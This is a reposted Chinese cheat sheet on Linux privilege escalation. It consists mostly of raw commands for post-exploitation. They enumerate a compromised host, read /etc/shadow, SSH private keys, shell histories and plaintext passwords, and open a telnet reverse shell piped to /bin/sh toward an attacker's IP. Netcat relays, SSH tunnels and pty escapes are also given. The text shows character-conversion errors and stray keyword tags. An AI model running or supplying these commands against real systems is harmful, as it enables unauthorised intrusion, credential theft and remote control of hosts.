在本文開始以前,我想指出我不是專家。據我所知,在這個龐大的區域,沒有一個「神奇」的答案.php
分享,共享(個人出發點)。
html
列舉關鍵點
(Linux)的提權是怎麼一回事:python
收集 – 枚舉,枚舉和一些更多的枚舉。mysql
過程 – 經過數據排序,分析和肯定優先次序。linux
搜索 – 知道搜索什麼和在哪裏能夠找到漏洞代碼。web
適應 – 自定義的漏洞,因此它適合。每一個系統的工做並非每個漏洞「都固定不變」。sql
嘗試 – 作好準備,試驗和錯誤。shell
操做類型數據庫
操做系統是什麼版本?apache
cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release
它的內核版本是什麼?
cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz
它的環境變量裏有些什麼?
cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set
是否有臺打印機?
lpstat -a
應用與服務
正在運行什麼服務?什麼樣的服務具備什麼用戶權限?
ps aux ps -ef top cat /etc/service
哪些服務具備root的權限?這些服務裏你看起來那些有漏洞,進行再次檢查!
ps aux | grep root ps -ef | grep root
安裝了哪些應用程序?他們是什麼版本?哪些是當前正在運行的?
ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/
Service設置,有任何的錯誤配置嗎?是否有任何(脆弱的)的插件?
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
主機上有哪些工做計劃?
crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
主機上可能有哪些純文本用戶名和密碼?
grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
通訊與網絡
NIC(s),系統有哪些?它是鏈接到哪個網絡?
/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network
網絡配置設置是什麼?網絡中有什麼樣的服務器?DHCP服務器?DNS服務器?網關?
cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname
其餘用戶主機與系統的通訊?
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w
緩存?IP和/或MAC地址?
arp -e route /sbin/route -nee
數據包可能嗅探嗎?能夠看出什麼?監聽流量
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
你如何get一個shell?你如何與系統進行交互?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ nc -lvp 4444 # Attacker. 輸入 (命令) nc -lvp 4445 # Attacker. 輸出(結果) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目標系統上. 使用 ***者的IP!
如何端口轉發?(端口重定向)
# rinetd # http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch # fpipe # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 #ssh # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port #mknod # mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -aoutflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
創建隧道可能嗎?本地,遠程發送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig
祕密信息和用戶
你是誰?哪一個id登陸?誰已經登陸?還有誰在這裏?誰能夠作什麼呢?
id who w last cat /etc/passwd | cut -d: # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l
能夠找到什麼敏感文件?
cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/
什麼有趣的文件在home/directorie(S)裏?若是有權限訪問
ls -ahlR /root/ ls -ahlR /home/
是否有任何密碼,腳本,數據庫,配置文件或日誌文件?密碼默認路徑和位置
cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg
用戶作過什麼?是否有任何密碼呢?他們有沒有編輯什麼?
cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history
能夠找到什麼樣的用戶信息
cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root
private-key 信息可否被發現?
cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
文件系統
哪些用戶能夠寫配置文件在/ etc /?可以從新配置服務?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/ var /有什麼能夠發現?
ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases
網站上的任何隱藏配置/文件?配置文件與數據庫信息?
ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/
有什麼在日誌文件裏?(什麼可以幫助到「本地文件包含」?)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/ cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/
若是命令限制,你能夠打出哪些突破它的限制?
python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i
如何安裝文件系統?
mount df -h
是否有掛載的文件系統?
cat /etc/fstab
準備和查找漏洞利用代碼
安裝了什麼開發工具/語言/支持?
find / -name perl* find / -name python* find / -name gcc* find / -name cc
如何上傳文件?
find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
查找exploit代碼
http://metasploit.com/modules/
http://seclists.org/fulldisclosure/
例如
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm
其餘
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html
本文轉載自91ri.org
原文地址:http://www.91ri.org/7459.html